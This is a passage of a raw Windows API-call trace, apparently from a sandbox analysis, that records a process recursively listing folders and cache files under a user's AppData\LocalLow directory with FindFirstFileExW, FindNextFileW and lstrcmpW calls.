lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0089.150] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.151] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.151] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0089.152] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0089.152] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.152] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.152] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.152] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.152] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0089.152] lstrcmpW (lpString1="CryptnetUrlCache", lpString2=".") returned 1 [0089.152] lstrcmpW (lpString1="CryptnetUrlCache", lpString2="..") returned 1 [0089.153] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.153] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.153] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.153] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.153] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.153] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0089.153] lstrcmpW (lpString1="Content", lpString2=".") returned 1 [0089.153] lstrcmpW (lpString1="Content", lpString2="..") returned 1 [0089.153] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.153] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.153] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.154] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.154] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.154] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0089.154] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0089.154] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0089.154] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0089.155] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, 